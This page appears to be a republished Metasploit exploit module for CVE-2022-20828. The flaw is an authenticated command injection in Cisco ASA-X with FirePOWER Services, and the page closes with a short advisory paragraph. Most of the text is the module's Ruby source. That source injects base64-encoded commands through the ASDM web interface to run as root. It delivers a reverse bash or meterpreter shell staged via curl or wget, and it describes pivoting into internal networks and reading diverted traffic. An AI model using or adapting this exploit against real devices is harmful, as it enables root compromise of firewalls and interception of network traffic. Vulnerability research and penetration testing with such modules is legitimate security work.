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Cisco ASA-X With FirePOWER Services Authenticated Command Injection
This Metasploit module exploits an authenticated command injection vulnerability affecting Cisco ASA-X with FirePOWER Services. This exploit is executed through the ASA’s ASDM web server and lands in the FirePower Services SFR module’s Linux virtual machine as the root user. Access to the virtual machine allows the attacker to pivot to the inside network, and access the outside network. Also, the SFR virtual machine is running snort on the traffic flowing through the ASA, so the attacker should have access to this diverted traffic as well. This module requires ASDM credentials in order to traverse the ASDM interface. A similar attack can be performed via Cisco CLI (over SSH), although that isn’t implemented here. Finally, it’s worth noting that this attack bypasses the affects of the lockdown-sensor command (e.g. the virtual machine’s bash shell shouldn’t be available but this attack makes it available). Cisco assigned this issue CVE-2022-20828. The issue affects all Cisco ASA that support the ASA FirePOWER module (at least Cisco ASA-X with FirePOWER Service, and Cisco ISA 3000). The vulnerability has been patched in ASA FirePOWER module versions 6.2.3.19, 6.4.0.15, 6.6.7, and 7.0.21. The following versions will receive no patch: 6.2.2 and earlier, 6.3., 6.5., and 6.7.*.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Cisco ASA-X with FirePOWER Services Authenticated Command Injection', 'Description' => %q{ This module exploits an authenticated command injection vulnerability affecting Cisco ASA-X with FirePOWER Services. This exploit is executed through the ASA's ASDM web server and lands in the FirePower Services SFR module's Linux virtual machine as the root user. Access to the virtual machine allows the attacker to pivot to the inside network, and access the outside network. Also, the SFR virtual machine is running snort on the traffic flowing through the ASA, so the attacker should have access to this diverted traffic as well. This module requires ASDM credentials in order to traverse the ASDM interface. A similar attack can be performed via Cisco CLI (over SSH), although that isn't implemented here. Finally, it's worth noting that this attack bypasses the affects of the `lockdown-sensor` command (e.g. the virtual machine's bash shell shouldn't be available but this attack makes it available). Cisco assigned this issue CVE-2022-20828. The issue affects all Cisco ASA that support the ASA FirePOWER module (at least Cisco ASA-X with FirePOWER Service, and Cisco ISA 3000). The vulnerability has been patched in ASA FirePOWER module versions 6.2.3.19, 6.4.0.15, 6.6.7, and 7.0.21. The following versions will receive no patch: 6.2.2 and earlier, 6.3.*, 6.5.*, and 6.7.*. }, 'License' => MSF_LICENSE, 'Author' => [ 'jbaines-r7' # Vulnerability discovery and Metasploit module ], 'References' => [ [ 'CVE', '2022-20828' ], [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asasfr-cmd-inject-PE4GfdG' ], [ 'URL', 'https://www.rapid7.com/blog/post/2022/08/11/rapid7-discovered-vulnerabilities-in-cisco-asa-asdm-and-firepower-services-software/' ], [ 'URL', 'https://www.cisco.com/c/en/us/td/docs/security/asa/quick_start/sfr/firepower-qsg.html'] ], 'DisclosureDate' => '2022-06-22', 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_X64,], 'Privileged' => true, 'Targets' => [ [ 'Shell Dropper', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => ARCH_X64, 'Type' => :linux_dropper, 'CmdStagerFlavor' => [ 'curl', 'wget' ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp' } } ] ], 'DefaultTarget' => 1, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'MeterpreterTryToFork' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']), OptString.new('USERNAME', [true, 'Username to authenticate with', '']), OptString.new('PASSWORD', [true, 'Password to authenticate with', '']), ]) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/admin/exec/session+sfr+do+`id`'), 'headers' => { 'User-Agent' => 'ASDM/ Java/1', 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) } }) return CheckCode::Unknown('The target did not respond to the check.') unless res return CheckCode::Safe('Authentication failed.') if res.code == 401 return CheckCode::Unknown("Received unexpected HTTP status code: #{res.code}.") unless res.code == 200 if res.body.include?('Invalid do command uid=0(root)') return CheckCode::Vulnerable("Successfully executed the 'id' command.") end CheckCode::Safe('The command injection does not appear to work.') end def execute_command(cmd, _opts = {}) # base64 encode the payload to work around bad characters and then uri encode # the whole thing before yeeting it at the server encoded_payload = Rex::Text.uri_encode("(base64 -d<<<#{Rex::Text.encode_base64(cmd)}|sh)&") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "/admin/exec/session+sfr+do+`#{encoded_payload}`"), 'headers' => { 'User-Agent' => 'ASDM/ Java/1', 'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) } }) if res fail_with(Failure::Unreachable, 'The target did not respond.') unless res fail_with(Failure::NoAccess, 'Could not log in. Verify credentials.') if res.code == 401 fail_with(Failure::UnexpectedReply, "Received unexpected HTTP status code: #{res.code}.") unless res.code == 200 end if session_created? # technically speaking, bash can hold the connection open and skip all the res checks # also passing the res checks doesn't actually mean that the target was exploited so # check a session was created to get verification print_good('Session created!') else fail_with(Failure::NotVulnerable, 'The exploit was thrown but not session was created.') end end def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager end endend
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A vulnerability in the CLI parser of Cisco FirePOWER Software for Adaptive Security Appliance (ASA) FirePOWER module could allow an authenticated, remote attacker to execute arbitrary commands on the underlying operating system of an affected ASA FirePOWER module as the root user. This vulnerability is due to improper handling of undefined command parameters. An attacker could exploit this vulnerability by using a crafted command on the CLI or by submitting a crafted HTTPS request to the web-based management interface of the Cisco ASA that is hosting the ASA FirePOWER module. Note: To exploit this vulnerability, the attacker must have administrative access to the Cisco ASA. A user who has administrative access to a particular Cisco ASA is also expected to have administrative access to the ASA FirePOWER module that is hosted by that Cisco ASA.